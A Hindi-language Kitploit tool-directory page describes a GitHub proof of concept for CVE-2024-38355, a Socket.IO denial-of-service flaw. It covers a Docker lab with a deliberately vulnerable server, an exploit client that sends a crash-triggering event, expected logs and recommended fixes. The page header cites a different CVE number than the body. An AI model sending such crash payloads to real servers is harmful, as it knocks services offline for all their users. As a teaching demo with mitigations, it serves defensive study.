Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-38355-PoC — CVE-2024-47554 का प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षा
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

CVE-2024-47554 का प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
17 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-38355 डेमो (Socket.IO क्रैश)

यह प्रोजेक्ट CVE-2024-38355 का एक प्रूफ ऑफ कॉन्सेप्ट है, जो socket.io में एक डिनायल-ऑफ-सर्विस भेद्यता है। यह प्रोजेक्ट शैक्षिक उद्देश्यों के लिए बनाया गया है ताकि हमले की प्रक्रिया और एप्लिकेशन को सुरक्षित रखने के तरीके को दिखाया जा सके।

भेद्यता के बारे में (CVE-2024-38355)

यह भेद्यता socket.io के निम्नलिखित संस्करणों को प्रभावित करती है:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

विशेष रूप से तैयार किया गया Socket.IO पैकेट सर्वर पर एक अनकॉट अपवाद उत्पन्न कर सकता है, जिससे Node.js प्रक्रिया क्रैश हो जाती है। इसके परिणामस्वरूप डिनायल ऑफ सर्विस (DoS) हमला होता है।

यह कैसे काम करता है:

  1. क्लाइंट सामान्य रूप से Socket.IO सर्वर से कनेक्ट होता है।
  2. क्लाइंट एक दुर्भावनापूर्ण इवेंट/पैकेट भेजता है जो सर्वर पर एक त्रुटि उत्पन्न करता है।
  3. यदि सर्वर कोड एक अपवाद फेंकता है (उदाहरण के लिए, अविश्वसनीय इनपुट को प्रोसेस करने से) और सॉकेट पर कोई एरर हैंडलर नहीं है, तो अनकॉट अपवाद पूरी Node.js प्रक्रिया को क्रैश कर देता है।
  4. सर्वर सभी उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है।

मुख्य कारक:

  • सॉकेट पर error इवेंट लिसनर की अनुपस्थिति
  • सर्वर-साइड कोड जो क्लाइंट डेटा को प्रोसेस करते समय अपवाद फेंक सकता है
  • कोई ग्लोबल अनकॉट अपवाद हैंडलर नहीं

प्रोजेक्ट संरचना

प्रोजेक्ट में दो Docker कंटेनर शामिल हैं:

  1. vulnerable-server: एक Node.js सर्वर जो संवेदनशील [email protected] का उपयोग करता है। इसमें एक इवेंट हैंडलर है जो दुर्भावनापूर्ण डेटा प्राप्त करने पर अनकॉट अपवाद फेंक सकता है।
  2. exploit-client: एक Node.js स्क्रिप्ट जो सर्वर से कनेक्ट होती है, पहले सामान्य संचालन का परीक्षण करती है, फिर एक पेलोड भेजती है जो सर्वर को क्रैश कर देता है।

आवश्यकताएँ

  • Docker
  • Docker Compose

या वैकल्पिक रूप से:

  • Node.js 18+
  • npm

कैसे चलाएँ

विकल्प 1: Docker Compose का उपयोग करना (अनुशंसित)

प्रोजेक्ट रूट निर्देशिका में एक टर्मिनल खोलें और चलाएँ:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

यह निम्नलिखित करेगा:

  1. सर्वर और क्लाइंट के लिए इमेज बनाएगा।
  2. सर्वर को पोर्ट 3000 पर शुरू करेगा।
  3. एक्सप्लॉइट क्लाइंट शुरू करेगा जो स्वचालित रूप से हमला करेगा और सर्वर को क्रैश कर देगा।

विकल्प 2: स्थानीय रूप से चलाना (Docker के बिना)

टर्मिनल 1 - सर्वर शुरू करें:

root@kitploit:~
cd server
npm install
npm start

टर्मिनल 2 - एक्सप्लॉइट चलाएँ:

root@kitploit:~
cd exploit
npm install
npm start

अपेक्षित आउटपुट

सर्वर लॉग्स:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

एक्सप्लॉइट लॉग्स:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

रोकना

Ctrl+C दबाएँ या चलाएँ:

root@kitploit:~
docker-compose down

कोड विश्लेषण

संवेदनशील सर्वर (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

एक्सप्लॉइट (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

कैसे ठीक करें?

अपने एप्लिकेशन को इस भेद्यता से सुरक्षित रखने के लिए:

  1. socket.io अपडेट करें संस्करण 4.6.2 या उससे नए में (फिक्स एक डिफ़ॉल्ट noop एरर हैंडलर जोड़ता है)।

  2. सॉकेट्स पर हमेशा एरर हैंडलर संलग्न करें:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. इवेंट हैंडलर्स को try-catch में लपेटें:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. एक ग्लोबल अनकॉट अपवाद हैंडलर जोड़ें (अंतिम उपाय के रूप में):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

संदर्भ

  • NVD पर CVE-2024-38355
  • GitHub सुरक्षा सलाहकार GHSA-25hc-qcg6-38wj
  • फिक्स कमिट

प्रोजेक्ट शैक्षिक उद्देश्यों के लिए बनाया गया है।

टूल डाउनलोड करें